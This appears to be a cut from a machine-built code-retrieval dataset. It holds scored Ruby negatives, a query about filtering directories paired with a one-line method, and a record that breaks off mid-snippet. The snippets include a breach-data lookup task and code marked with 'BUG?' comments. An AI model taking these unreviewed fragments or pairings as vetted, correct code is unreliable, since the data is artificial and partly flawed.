@request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|3DDEE7B5823674CCFB876EDB821C7743|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|get|java.lang.String|lum.application.url|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgMetaData|1|2|3|4|0|\"\n }\n )\n \n # Dupe request - BUG?\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgMetaData|1|2|3|4|0|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/ServerPropertiesRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|3DDEE7B5823674CCFB876EDB821C7743|org.kuali.student.common.ui.client.service.ServerPropertiesRpcService|get|java.lang.String|application.url|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getSectionConfig|1|2|3|4|0|\"\n }\n )\n \n # Dupe request - BUG?\n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getSectionConfig|1|2|3|4|0|\"\n }\n )\n \n @request.add('/org.kuali.student.core.organization.ui.OrgEntry/rpcservices/OrgRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|4|#{@request.url}/org.kuali.student.core.organization.ui.OrgEntry/|AE88E9E993C2C04C4BAC534CC092D550|org.kuali.student.core.organization.ui.client.service.OrgRpcService|getOrgTypes|1|2|3|4|0|\"\n }\n )\n \n end",
"def onRequest(req)\n\t\tif req.request == 'WHEREAMI?'\n\t\t\tloc = location.space\n\t\t\tresp = {:x => loc.x, :y => loc.y, :sectorx => loc.sector.offsetX, :sectory => loc.sector.offsetY}.to_json\n\t\t\treq.reply('YOURPOS', resp)\n\t\telsif req.request == 'NEARBY?'\n\t\t\tdistOfSight = req.message.to_i\n\t\t\tdistOfSight = SolarSystem::SolarSystemRadius if distOfSight > SolarSystem::SolarSystemRadius\n\t\t\tdistOfSight = 1000 if distOfSight < 1000\n\t\t\t\n\t\t\tresp = []\n\t\t\tloc = location.space\n\t\t\tloc.sector.solarsystemsWithin(loc.x, loc.y, distOfSight).each do |system|\n\t\t\t\tsystem.celestialBodiesWithin(loc.x, loc.y, distOfSight).each do |cb|\n\t\t\t\t\tbodyinfo = {:x => cb.x, :y => cb.y, :type => cb.type}\n\t\t\t\t\tresp.push bodyinfo\n\t\t\t\tend\n\t\t\tend\n\t\t\treq.reply('NEARBY', {:cbs => resp}.to_json)\n\t\telsif req.request == 'DISTANT?'\n\t\t\tloc = location.space\n\t\t\tresp = []\n\t\t\tloc.sector.solarsystems().each do |system|\n\t\t\t\tsystem.distantCelestialBodies.each do |cb|\n\t\t\t\t\tbodyinfo = {:x => cb.x, :y => cb.y, :type => 'star'}\n\t\t\t\t\tresp.push bodyinfo\n\t\t\t\tend\n\t\t\tend\n\t\t\treq.reply('DISTANT', {:cbs => resp}.to_json)\n\t\telsif req.request == 'RESOURCES'\n\t\t\tresourceinfo = {}\n\t\t\tcelestialbody = getCelestialBody(@db, req.getmessage())\n\t\t\tif (celestialbody.solarsystem.sector == location.space.sector)\n\t\t\t\tdist = Math.sqrt((location.space.x - celestialbody.x)**2 + (location.space.y - celestialbody.y)**2)\n\t\t\t\tif (dist <= D)\n\t\t\t\t\tresourceinfo = celestialbody.inventory.resources.to_json\n\t\t\t\tend\n\t\t\tend\n\t\t\treq.reply('RESOURCES', resourceinfo)\n\t\telsif req.request == 'INVENTORY'\n\t\t\tinvinfo = inventory.resources.to_json\t\n\t\t\treq.reply('INVENTORY', invinfo)\n\t\telsif req.request == 'IMOVED'\n\t\t\treqjson = req.json\n\t\t\tif reqjson.include?('sx') && reqjson.include?('sy') && reqjson.include?('x') && reqjson.include?('y')\n\t\t\t\t# TODO: Handle other sectors\n\t\t\t\t# TODO: Check validity of move\n\t\t\t\tlocation.setSpace(astroLocationFromCoords(location.space.sector, reqjson['x'].to_i, reqjson['y'].to_i))\n\t\t\tend\n\t\telsif req.request == 'NEARBYENT?'\n\t\t\tdistOfSight = req.message.to_i\n\t\t\tdistOfSight = SolarSystem::SolarSystemRadius if distOfSight > 10 * SolarSystem::SolarSystemRadius\n\t\t\tdistOfSight = 1000 if distOfSight < 1000\n\t\t\t\n\t\t\tresp = nearbyObservable(distOfSight)\n\t\t\treq.reply('NEARBYENT', {:ent => resp}.to_json)\n\t\tend\n\tend",
"def route_request()\n# begin\n if @object_to_route_to.authorise() == false\n msg = \"No authorisation\"\n additonal_lines_array=nil\n result_screen = PDTTransaction.build_msg_screen_definition(nil,nil,nil,[\"No authorisation\"])\n return result_screen\n end\n @object_to_route_to.pdt_screen_def = @pdt_screen_def\n is_screen_submission = true\n #puts \"MODE TO ROUTE TO i.e. from java = \" + @object_to_route_to.pdt_screen_def.mode.to_s\n if @object_to_route_to.pdt_screen_def.mode.to_s == PdtScreenDefinition.const_get(\"BUTTON1\").to_s\n # puts \"@object_to_route_to.pdt_screen_def.screen_attributes[B1Submit] = \" + @object_to_route_to.pdt_screen_def.buttons[\"B1Submit\"].to_s\n method_to_route_to = @object_to_route_to.pdt_screen_def.buttons[\"B1Submit\"]\n elsif @object_to_route_to.pdt_screen_def.mode.to_s == PdtScreenDefinition.const_get(\"BUTTON2\").to_s\n method_to_route_to = @object_to_route_to.pdt_screen_def.buttons[\"B2Submit\"]\n elsif @object_to_route_to.pdt_screen_def.mode.to_s == PdtScreenDefinition.const_get(\"BUTTON3\").to_s\n method_to_route_to = @object_to_route_to.pdt_screen_def.buttons[\"B3Submit\"]\n elsif @object_to_route_to.pdt_screen_def.mode.to_s == PdtScreenDefinition.const_get(\"ENTERDATA\").to_s\n #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n # what about ENTERDATA - Automatic screen submissions????\n #^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n# method_to_route_to = @pdt_method.method_name + \"_submit\"\n raise \"auto_submit_to action missing. Please contact IT!!!\" if @object_to_route_to.pdt_screen_def.screen_attributes[\"auto_submit_to\"] == nil\n method_to_route_to = @object_to_route_to.pdt_screen_def.screen_attributes[\"auto_submit_to\"]\n else#handle menu selections and automatic only\n method_to_route_to = @pdt_method.method_name\n is_screen_submission = false\n end\n\n if(is_screen_submission)\n if(!@object_to_route_to.can_redo)\n @jsession_store.clear_redos\n end\n end\n\n if method_to_route_to == nil\n msg = \"../app/models/pdt_transaction.rb:326:in `route_request' got nil,might have expected a string\"\n additonal_lines_array=nil\n result_screen = PDTTransaction.build_msg_screen_definition(msg,35,7,additonal_lines_array)\n return hash_error_screen(result_screen)\n end\n\n if ! (error = validate_method(method_to_route_to))\n result_screen_def = @object_to_route_to.send(method_to_route_to)\n return result_screen_def\n else\n if @object_to_route_to.pdt_screen_def.mode.to_s == PdtScreenDefinition.const_get(\"CONTROL_VALUE_REPLACE\").to_s\n return \"<error></error>\"\n else\n return hash_error_screen(error)\n end\n end\n# rescue\n# puts $!\n# puts $!.backtrace.join(\"\\n\").to_s\n# end\n end",
"def create\n @service = Service.new(params[:service])\n # passing teams to create in case service name left blank, required for 'new' action to reload from here\n @teams = current_user.teams.where('role = ?', 'admin')\n @buttonvalue = \"create service\"\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to :services, notice: 'Your service has been successfully created.' }\n format.json { render json: @service, status: :created, location: @service }\n else\n format.html { render action: \"new\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def samsara_fleet_info\n #making a get request using Faraday and then parsing the data and setting it to @data\n url = \"https://api.samsara.com/v1/fleet/locations?access_token=#{Rails.application.credentials.secret_key}\"\n samsara_get(url)\n end",
"def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n api_key = _get_task_config(\"leak_lookup_api_key\")\n\n unless api_key\n _log_error \"Unable to proceed, no API key for Leak Lookup provided.\"\n return\n end\n\n if entity_type == \"EmailAddress\"\n leak_lookup_entity_type = \"email_address\"\n\n elsif entity_type == \"IpAddress\"\n leak_lookup_entity_type = \"ipaddress\"\n\n elsif entity_type == \"Domain\"\n leak_lookup_entity_type = \"domain\"\n end\n\n # Search info construction\n search_uri = \"https://leak-lookup.com/api/search\"\n params = { key: api_key, type: leak_lookup_entity_type, query: entity_name }\n headers = {\n \"Content-Type\" => \"application/x-www-form-urlencoded\"\n }\n\n # Make the request\n response = _get_json_response(search_uri, params, headers)\n\n if response[\"message\"] && response[\"error\"] == \"false\"\n\n if response[\"message\"].empty?\n _log \"No findings for the supplied entity.\"\n return\n end\n\n public_api_key_proof_message = \"No detailed breach data is shown when using public keys\"\n\n response[\"message\"].each do |result_key, result_value|\n\n _create_linked_issue(\"leaked_data\", {\n name: \"Entity found in Leak-Lookup (Public Breach Data)\",\n source: result_key,\n proof: result_value.empty? ? public_api_key_proof_message : result_value,\n references: [\n { type: \"description\", uri: \"https://leak-lookup.com\"}\n ]\n })\n end\n\n elsif response[\"error\"] == \"true\"\n _log_error \"The Leak Lookup API returned the following error: #{response['message']}\"\n end\n end",
"def doc()\n buffer = ''\n descr_mapping = {}\n\n buffer += '## Available Methods :\\n\\n'\n buffer += 'This GEM wraps the following SOLIDserver API calls, allowing you to interract with SOLIDserver DDI solution.\\n'\n\n begin\n @servicemapper.each do |service_name, service_mapped|\n buffer += '\\n### Method - #{service_name}\\n'\n rest_answer = RestClient::Request.execute(\n url: sprintf('%s/%s', @resturl, service_mapped[0]),\n accept: 'application/json',\n method: 'options',\n timeout: @timeout,\n verify_ssl: @sslcheck,\n headers: {\n 'X-IPM-Username' => @username,\n 'X-IPM-Password' => @password\n }\n )\n\n first_input = true\n first_output = true\n\n JSON.parse(rest_answer.body).each do |item|\n if (item.has_key?('description'))\n buffer += 'Description\\n\\n'\n buffer += '\\t#{@servicemapper[service_name.to_s][1]}\\n'\n end\n\n if (item.has_key?('mandatory_addition_params') && service_name.match(/_add$/))\n buffer += '\\nMandatory Parameters\\n\\n'\n buffer += '\\t' + item['mandatory_addition_params'].gsub('&&', '+').gsub('||','|') + '\\n'\n end\n\n if (item.has_key?('mandatory_edition_params') && service_name.match(/_update$/))\n buffer += '\\nMandatory Parameters\\n\\n'\n buffer += '\\t' + item['mandatory_edition_params'].gsub('&&', '+').gsub('||','|') + '\\n'\n end\n\n if (item.has_key?('mandatory_params'))\n buffer += '\\nMandatory Parameters\\n\\n'\n buffer += '\\t' + item['mandatory_params'].gsub('&&', '+').gsub('||','|') + '\\n'\n end\n\n if (item.has_key?('param_type'))\n if (item['param_type'] == 'in')\n if (first_input == true)\n buffer += '\\nAvailable Input Parameters :\\n\\n'\n first_input = false\n end\n\n if (item['name'] == 'WHERE')\n buffer += '\\t* where - Can be used to filter the result using any output field in an SQL fashion.\\n'\n elsif (item['name'] == 'ORDERBY')\n buffer += '\\t* orderby - Can be used to order the result using any output field in an SQL fashion.\\n'\n else\n descr_key = service_name[/^(ip|vlm|dns)/]\n if (item.has_key?('descr'))\n descr_mapping[descr_key.to_s + '_' + item['name']] = item['descr']\n end\n if !(item.has_key?('descr') && item['name'].match(/^no_usertracking/))\n buffer += '\\t* ' + item['name'] + (item.has_key?('descr') ? ' - ' + item['descr'] : '') + '\\n'\n end\n end\n else\n if (first_output == true)\n buffer += '\\nAvailable Output Fields :\\n\\n'\n first_output = false\n end\n\n descr_key = service_name[/^(ip|vlm|dns)/]\n\n if (item.has_key?('descr'))\n descr_mapping[descr_key.to_s + '_' + item['name']] = item['descr']\n else\n if (descr_mapping.has_key?(descr_key.to_s + '_' + item['name']))\n item['descr'] = descr_mapping[descr_key + '_' + item['name']]\n end\n end\n buffer += '\\t* ' + item['name'] + (item.has_key?('descr') ? ' - ' + item['descr'] : '') + '\\n'\n end\n end\n end\n end\n\n return(buffer)\n rescue RestClient::ExceptionWithResponse => rest_error\n raise SOLIDserverError.new('SOLIDserver REST call error : - TEST')\n end\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return result\n end\n\n # get the last model\n model = runner.lastOpenStudioModel\n if model.empty?\n puts 'Cannot find last model for output requests'\n runner.registerError('Cannot find last model.')\n return false\n end\n model = model.get\n\n run_qaqc = runner.getBoolArgumentValue('run_qaqc', user_arguments)\n unless run_qaqc\n return result\n end\n\n # Request output variables for air loop and plant loop supply outlet nodes\n variable_names = ['System Node Temperature', 'System Node Standard Density Volume Flow Rate']\n reporting_frequency = 'Timestep'\n node_names = []\n model.getAirLoopHVACs.each do |air_loop|\n node_names << air_loop.supplyOutletNode.name.to_s\n end\n model.getPlantLoops.each do |plant_loop|\n node_names << plant_loop.supplyOutletNode.name.to_s\n end\n node_names.uniq!\n node_names.each do |node_name|\n variable_names.each do |variable_name|\n result << OpenStudio::IdfObject.load(\"Output:Variable,#{node_name},#{variable_name},#{reporting_frequency};\").get\n end\n end\n\n # Request equipment part load ratios\n result << OpenStudio::IdfObject.load('Output:Variable,*,Boiler Part Load Ratio,Hourly;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Chiller Part Load Ratio,Hourly;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Cooling Tower Fan Electric Power,Hourly;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Cooling Coil Total Cooling Rate,Hourly;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Heating Coil Heating Rate,Hourly;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Heating Coil Air Heating Rate,Hourly;').get\n\n # Request the terminal reheat coil and terminal cooling rates for every VAV reheat terminal.\n model.getAirTerminalSingleDuctVAVReheats.each do |term|\n # Reheat coil heating rate\n rht_coil = term.reheatCoil\n rht_coil_name = rht_coil.name.get.to_s.upcase\n case rht_coil.iddObjectType.valueName.to_s\n when 'OS_Coil_Heating_Electric', 'OS_Coil_Heating_Gas'\n result << OpenStudio::IdfObject.load(\"Output:Variable,#{rht_coil_name},Heating Coil Air Heating Rate,Hourly;\").get\n when 'OS_Coil_Heating_Water'\n result << OpenStudio::IdfObject.load(\"Output:Variable,#{rht_coil_name},Heating Coil Heating Rate,Hourly;\").get\n end\n end\n\n # Zone Air Terminal Sensible Heating Rate\n result << OpenStudio::IdfObject.load(\"Output:Variable,*,Zone Air Terminal Sensible Cooling Rate,Hourly;\").get\n\n # ventilation flow rates\n result << OpenStudio::IdfObject.load(\"Output:Variable,*,Zone Mechanical Ventilation Standard Density Volume Flow Rate,#{reporting_frequency};\").get\n\n # Request the day type to use in the peak demand window checks.\n result << OpenStudio::IdfObject.load('Output:Variable,*,Site Day Type Index,timestep;').get\n\n return result\n end",
"def search()\n\t(\n\t\tif (_arg(:section) != 'directory'); (\n\t\t\t\n\t\t\tlogger.warn(_bold( \"[FS] Expected section=directory.\" ))\n\t\t\t\n\t\t\trespond_to { |format|\n\t\t\t\tformat.xml {\n\t\t\t\t\trender :empty_result, :layout => false,\n\t\t\t\t\t\t:locals => { :msg => \"Expected section=directory.\" }\n\t\t\t\t}\n\t\t\t\tformat.all {\n\t\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t)end\n\t\t\n\t\tif (_arg(:purpose) && _arg(:purpose) == 'gateways'); (\n\t\t\t# list gateways and domain aliases (as in the Sofia SIP profile)\n\t\t\t# http://wiki.freeswitch.org/wiki/Mod_xml_curl#Startup\n\t\t\t\n\t\t\tsofia_profile = _arg(:profile) # e.g. \"internal\", \"external\", ...\n\t\t\t\n\t\t\tlogger.info(_bold( \"[FS] Request for domains and gateways for Sofia profile \\\"#{sofia_profile}\\\" ...\" ))\n\t\t\t\n\t\t\t@sip_servers = SipServer.where( :is_local => true ) #.group( :host )\n\t\t\t\n\t\t\trespond_to { |format|\n\t\t\t\tformat.xml {\n\t\t\t\t\trender :domains_and_gateways_index, :layout => false\n\t\t\t\t\t#render :empty_result, :layout => false\n\t\t\t\t}\n\t\t\t\tformat.all {\n\t\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t)end\n\t\t\n\t\tif (_arg(:purpose) && _arg(:purpose) == 'network-list'); (\n\t\t\t# list ACL rules? users with ACL rules (cidr)?\n\t\t\t# http://wiki.freeswitch.org/wiki/Mod_xml_curl#ACL\n\t\t\t\n\t\t\tlogger.info(_bold( \"[FS] Request for users with ACL rules ...\" ))\n\t\t\t\n\t\t\trespond_to { |format|\n\t\t\t\tformat.xml {\n\t\t\t\t\t#render :network_list_index, :layout => false\n\t\t\t\t\trender :empty_result, :layout => false\n\t\t\t\t}\n\t\t\t\tformat.all {\n\t\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t)end\n\t\t\n\t\tif (_arg(:key) && _arg(:key) == 'id' && _arg(:user) && _arg(:domain)); (\n\t\t\t# user directory entry, used for voicemail as well\n\t\t\t# http://wiki.freeswitch.org/wiki/Mod_xml_curl#Authorization\n\t\t\t# http://wiki.freeswitch.org/wiki/Mod_xml_curl#Voicemail_request\n\t\t\t# or dial by user/<username> request for user item\n\t\t\t# http://wiki.freeswitch.org/wiki/Mod_xml_curl#Dial_by_user.2F.3Cusername.3E_Request\n\t\t\t\n\t\t\t# Damn Rails doesn't pass a request argument named 'action'\n\t\t\t# to the params array because it overrides the \"action\" arg.!\n\t\t\t\n\t\t\ttype = case _arg(:action)\n\t\t\t\twhen 'sip_auth' then 'sip-auth'\n\t\t\t\twhen 'message-count' then 'voicemail'\n\t\t\t\twhen 'user_call' then 'dial-by-username'\n\t\t\t\telse\n\t\t\t\t\tif (_arg(:as_channel) && _arg(:as_channel).to_s.match(/^true|1$/i))\n\t\t\t\t\t\t'dial-by-username'\n\t\t\t\t\telse\n\t\t\t\t\t\t'unknown'\n\t\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tlogger.info(_bold( \"[FS] Request for user #{_arg(:user)}@#{_arg(:domain)} (reason: #{type}) ...\" ))\n\t\t\t\n\t\t\t# Find the SIP account(s):\n\t\t\t# (The query should not return more than 1 SIP account in most cases.)\n\t\t\t@sip_accounts = []\n\t\t\t\n\t\t\t# Find SIP account by auth_name:\n\t\t\tsip_accounts = (\n\t\t\t\tSipAccount.where({\n\t\t\t\t\t:auth_name => _arg(:user),\n\t\t\t\t})\n\t\t\t\t.joins(:sip_server).where(:sip_servers => {\n\t\t\t\t\t:host => _arg(:domain),\n\t\t\t\t\t:is_local => true,\n\t\t\t\t})\n\t\t\t)\n\t\t\t@sip_accounts = @sip_accounts.concat( sip_accounts.to_a ) if sip_accounts\n\t\t\t\n\t\t\t## Find SIP account by extension (this is now done by Kamailio):\n\t\t\t#sip_accounts = (\n\t\t\t#\tSipAccount.where({\n\t\t\t#\t})\n\t\t\t#\t.joins(:sip_server).where(:sip_servers => {\n\t\t\t#\t\t:host => _arg(:domain),\n\t\t\t#\t\t:is_local => true,\n\t\t\t#\t})\n\t\t\t#\t.joins(:extension).where(:extensions => {\n\t\t\t#\t\t:extension => _arg(:user),\n\t\t\t#\t})\n\t\t\t#)\n\t\t\t#@sip_accounts = @sip_accounts.concat( sip_accounts.to_a ) if sip_accounts\n\t\t\t\n\t\t\t@sip_accounts.each { |acct|\n\t\t\t\tlogger.debug(_bold( \"[FS] SIP account: \" + (\n\t\t\t\t\tacct \\\n\t\t\t\t\t? \"id: #{acct[:id].inspect}\" \\\n\t\t\t\t\t+ \", user_id: #{acct[:user_id].inspect}\" \\\n\t\t\t\t\t+ \", auth_name: #{acct[:auth_name].inspect}\" \\\n\t\t\t\t\t+ \", realm: #{acct[:realm].inspect}\" \\\n\t\t\t\t\t+ \", sip_server: \" + (acct.sip_server ? acct.sip_server.hostinfo.inspect : 'nil') \\\n\t\t\t\t\t+ \", sip_proxy: \" + (acct.sip_proxy ? acct.sip_proxy.hostinfo.inspect : 'nil') \\\n\t\t\t\t\t+ \", voicemail_server: \" + (acct.voicemail_server ? acct.voicemail_server.hostinfo.inspect : 'nil') \\\n\t\t\t\t\t: acct.inspect\n\t\t\t\t)))\n\t\t\t}\n\t\t\t\n\t\t\trespond_to { |format|\n\t\t\t\tformat.xml {\n\t\t\t\t\tif (@sip_accounts.length > 0)\n\t\t\t\t\t\trender :account_show, :layout => false\n\t\t\t\t\telse\n\t\t\t\t\t\trender :empty_result, :layout => false\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tformat.all {\n\t\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t)end\n\t\t\n\t\tlogger.warn(_bold( \"[FS] Unknown request!\" ))\n\t\t\n\t\trespond_to { |format|\n\t\t\tformat.xml {\n\t\t\t\trender :empty_result, :layout => false\n\t\t\t}\n\t\t\tformat.all {\n\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t}\n\t\t}\n\t\treturn\n\t)end"
] |
[
"0.61050284",
"0.5806033",
"0.56173456",
"0.56028545",
"0.55190384",
"0.5496412",
"0.549361",
"0.54885507",
"0.5469782",
"0.54364914",
"0.5392818",
"0.53517014",
"0.5344022",
"0.5341496",
"0.5334074",
"0.5325288",
"0.5321312",
"0.53206015",
"0.52957875",
"0.5285835",
"0.5279331",
"0.52746296",
"0.52635896",
"0.526181",
"0.52536327",
"0.5237556",
"0.5235459",
"0.522767",
"0.52110696",
"0.52087307",
"0.52066064",
"0.52062523",
"0.52016324",
"0.5182443",
"0.51730824",
"0.51725334",
"0.51698756",
"0.5168541",
"0.51630014",
"0.5162424",
"0.51566267",
"0.5156259",
"0.51479983",
"0.51388574",
"0.5134406",
"0.5129319",
"0.51123476",
"0.5102525",
"0.5095445",
"0.5094123",
"0.5092793",
"0.50888157",
"0.50872093",
"0.5084316",
"0.50825566",
"0.5082256",
"0.5063722",
"0.5056763",
"0.5055643",
"0.50533813",
"0.5052724",
"0.50496066",
"0.5037343",
"0.50340253",
"0.502595",
"0.502405",
"0.5018454",
"0.50104964",
"0.50050116",
"0.49947038",
"0.4992989",
"0.4990624",
"0.49857122",
"0.49773398",
"0.49728906",
"0.49649784",
"0.49631718",
"0.4960955",
"0.49597195",
"0.49595335",
"0.4955121",
"0.49528968",
"0.4948901",
"0.4942796",
"0.4942704",
"0.49403605",
"0.49358094",
"0.49315345",
"0.4931532",
"0.49251887",
"0.4921115",
"0.49205723",
"0.4918154",
"0.49132243",
"0.48992267",
"0.48952013",
"0.48951006",
"0.489055",
"0.4889136",
"0.488701"
] |
0.7215682
|
0
|
Add an array of directories to be filtered
|
def add_dir_filter(filter)
@filter_dir = filter
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def filter_directories(modified_files); end",
"def search(*dirs)\n Options[:custom_dir] += dirs\n nil\n end",
"def search_external(dirs)\n Options[:external_dir] += dirs\n nil\n end",
"def in_dirs(dirs_a)\n @dirs += dirs_a\n self\n end",
"def appendGlobs(arr, patterns); patterns.each { |p| arr << Dir.glob(p) }; arr.flatten end",
"def find(dirs); end",
"def folders_filtering folders\n return folders unless @folder_regexp\n folders.select do |folder|\n test_name_by_date folder\n end\n end",
"def register_directories(*dirs); end",
"def filter!(*regexps)\n directories_records.each { |r| r.filter!(*regexps) }\n self\n end",
"def filter(*regexps)\n directories_records.each { |r| r.filter(*regexps) }\n self\n end",
"def scan_dir (dirname)\n log \"*** Inspect: \" + dirname\n Dir.foreach(dirname) do |filename|\n path_cand = File.join(dirname , filename)\n if File.directory?(path_cand)\n #exams directories\n if (filename != \".\" && filename != \"..\")\n unless @filter_dir.index(filename)\n #directory not filtered\n @explore_dir.push(path_cand)\n @dir_list << path_cand\n end\n end\n else\n # file to be listed\n unless file_is_filtered?(path_cand)\n # file is not filtered\n @result_list.push(path_cand)\n end\n end #file.directory?\n end\n next_dir = @explore_dir.pop\n scan_dir(next_dir) if next_dir \n end",
"def scan\n results = []\n dirs.each do |dir|\n files_in_dir = Dir.glob(File.join(dir,'**','*'))\n results.concat(files_in_dir)\n end\n @known_files = results\n end",
"def filter_dir_list!(dir_list, filter = nil)\n filter ||= [ /^(\\.)+$/, # . and ..\n /^\\.(.)*/ # beginning with .\n ]\n dir_list.delete_if { |element| match_filter?(element, filter) }\n end",
"def directory_entries\n entries.select{ |f| File.directory?(File.join(path,f)) }\n #dirs = ::Dir.glob(\"#{path}/\")\n #dirs.collect{ |f| f.chomp('/') }\n end",
"def scan_dirs\n @scan_files = Array.new\n Dir.entries(@scan_dir).each do |scan|\n next if File.directory?(@scan_dir + '/' + scan)\n @scan_files << @scan_dir + '/' + scan\n end\n end",
"def watch(watched_dirs)\n watched_dirs << @directory\n end",
"def scan_dir (dirname)\n log \"*** Inspect: \" + dirname\n Dir.foreach(dirname) do |filename|\n path_cand = File.join(dirname , filename)\n if File.directory?(path_cand)\n #exams directories\n if (filename != \".\" && filename != \"..\")\n unless @filter_dir.index(filename)\n #directory not filtered\n @explore_dir.push(path_cand)\n @dir_list << path_cand\n end\n end\n else\n # file to be listed\n unless file_is_filtered?(path_cand)\n # file is not filtered\n #p path_cand\n if file_has_admitted_extension?(path_cand)\n @result_list.push(path_cand)\n end\n end\n end #file.directory?\n end\n next_dir = @explore_dir.pop\n scan_dir(next_dir) if next_dir \n end",
"def list_directories(options = {})\n options = DEFAULTS.merge(options)\n\n path = options[:path]\n all = options[:all]\n\n path = \"#{path}/\" unless path == '' or path.end_with?('/')\n path = path+'**/' if all\n \n\n Dir.glob(\"#{path}*/\")\n end",
"def filtered_entries\n return [] unless exists?\n\n @filtered_entries ||=\n Dir.chdir(directory) do\n entry_filter.filter(entries).reject do |f|\n path = collection_dir(f)\n File.directory?(path) || entry_filter.symlink?(f)\n end\n end\n end",
"def paths_to_push\n directories.map { |dir| \"'#{File.expand_path(dir)}'\" }.join(\" \")\n end",
"def filter_entries(entries, base_directory = T.unsafe(nil)); end",
"def exclude_dirs=(rval)\n @exclude_dirs = rval.map { |d| d.is_a?(Pathname) ? d : Pathname.new(d) }\n end",
"def build_list_of_valid_directories(directories)\n dirs = []\n unless directories.nil?\n if directories.kind_of? Array\n directories.each {|d| dirs << d if File.directory?(d) }\n else\n dirs << directories if File.directory?(directories)\n end\n end\n dirs\n end",
"def filtered(files); end",
"def add_matching(pattern)\n Dir[ pattern ].each do |fn|\n self << fn unless exclude?(fn)\n end\n end",
"def add_matching(pattern)\n Dir[pattern].each do |fn|\n\tself << fn unless exclude?(fn)\n end\n end",
"def collect_paths(*paths)\n raw = [] # all paths and globs\n plus = Set.new # all paths to expand and add\n minus = Set.new # all paths to remove from plus set\n\n # assemble all globs and simple paths, reforming our glob notation to ruby globs\n paths.each do |paths_container|\n case (paths_container)\n when String then raw << (FilePathUtils::reform_glob(paths_container))\n when Array then paths_container.each {|path| raw << (FilePathUtils::reform_glob(path))}\n else raise \"Don't know how to handle #{paths_container.class}\"\n end\n end\n\n # iterate through each path and glob\n raw.each do |path|\n\n dirs = [] # container for only (expanded) paths\n\n # if a glob, expand it and slurp up all non-file paths\n if path.include?('*')\n # grab base directory only if globs are snug up to final path separator\n if (path =~ /\\/\\*+$/)\n dirs << FilePathUtils.extract_path(path)\n end\n\n # grab expanded sub-directory globs\n expanded = @file_wrapper.directory_listing( FilePathUtils.extract_path_no_aggregation_operators(path) )\n expanded.each do 